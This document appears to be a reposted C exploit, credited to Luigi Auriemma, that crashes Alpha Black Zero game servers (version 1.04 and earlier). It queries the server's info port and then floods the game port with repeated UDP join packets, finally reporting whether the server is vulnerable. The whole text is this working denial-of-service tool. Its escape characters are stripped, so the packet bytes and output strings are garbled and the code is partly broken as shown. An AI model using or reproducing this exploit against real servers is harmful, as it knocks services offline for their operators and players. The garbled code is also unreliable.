文章作者：by Luigi Auriemma
复制内容到剪贴板
代码:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 29850
#define TIMEOUT 3
#define MAX 16
#define INFO "\status\"
#define PCK "x2ex00x00x00x00x00x2fx2fx01x00x00x00x41"
// this is a normal join packet, nothing of strange
void show_info(u_char *buff);
u_long resolv(char *host);
int timeout(int sock);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
i;
u_short port = PORT;
u_char buff[BUFFSZ];
setbuf(stdout, NULL);
fputs("n"
"Alpha Black Zero <= 1.04 server crash "VER"n"
"by Luigi Auriemman"
"e-mail: [email]aluigi@altervista.orgn[/email]"
"web: [url]http://aluigi.altervista.orgn[/url]"
"n", stdout);
if(argc < 2) {
printf("n"
"Usage: %s <host> [port(%d)]n"
"n", argv[0], PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port + 1);
peer.sin_family = AF_INET;
printf("- target %s:%hun",
inet_ntoa(peer.sin_addr),
port);
printf("- request informations to the query port %dn", port + 1);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(!sd) std_err();
if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("nAlert: socket timeout, no information reply received but I continuen", stdout);
} else {
if(recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL)
< 0) std_err();
show_info(buff);
}
close(sd);
peer.sin_port = htons(port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(!sd) std_err();
fputs("- start attackn", stdout);
for(i = 0; i < MAX; i++) {
fputs(" player: ", stdout);
if(sendto(sd, PCK, sizeof(PCK) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputc('.', stdout);
if(timeout(sd) < 0) break; // packet 1
if(recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL)
< 0) std_err();
fputc('.', stdout);
if(timeout(sd) < 0) break; // packet 2
if(recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL)
< 0) std_err();
fputc('.', stdout);
fputc('n', stdout);
}
close(sd);
if(i && (i <= MAX)) {
fputs("nnServer IS vulnerable!!!nn", stdout);
} else {
fputs("nnServer doesn't seem vulnerablenn", stdout);
}
return(0);
}
void show_info(u_char *data) {
int nt = 1;
u_char *p;
while((p = strchr(data, '\'))) {
*p = 0x00;
if(!nt) {
printf("%30s: ", data);
nt++;
} else {
printf("%sn", data);
nt = 0;
}
data = p + 1;
}
printf("%sn", data);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("nError: Unable to resolv hostname (%s)n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
#ifndef WIN32
void std_err(void) {
perror("nError");
exit(1);
}
#endif
